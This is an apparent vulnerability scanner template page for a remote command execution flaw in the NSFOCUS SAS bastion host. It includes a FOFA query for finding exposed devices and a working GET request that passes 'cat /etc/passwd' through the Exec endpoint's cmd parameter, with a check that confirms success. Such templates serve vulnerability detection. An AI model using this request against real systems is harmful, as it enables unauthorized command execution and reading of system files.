nsfocus-sas-exec-rce: 绿盟 SAS堡垒机 Exec 远程命令执行漏洞

2025-08-01 nsfocus SAS堡垒机 PoC Public

Description

绿盟 SAS堡垒机 Exec 远程命令执行漏洞

fofa: body="'/needUsbkey.php?username='"

PoC

id: nsfocus-sas-exec-rce

info:
  name: 绿盟 SAS堡垒机 Exec 远程命令执行漏洞
  author: peiqi
  severity: high
  verified: true
  description: |-
    绿盟 SAS堡垒机 Exec 远程命令执行漏洞
    fofa: body="'/needUsbkey.php?username='"
  reference:
    - https://peiqi.wgpsec.org/wiki/webapp/绿盟/绿盟%20SAS堡垒机%20Exec%20远程命令执行漏洞.html
  tags: nsfocus,rce
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /webconf/Exec/index?cmd=cat%20/etc/passwd
    expression: response.status == 200 && response.body.bcontains(b'<code>200</code>') && response.body.bcontains(b'WEBSVC OK')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities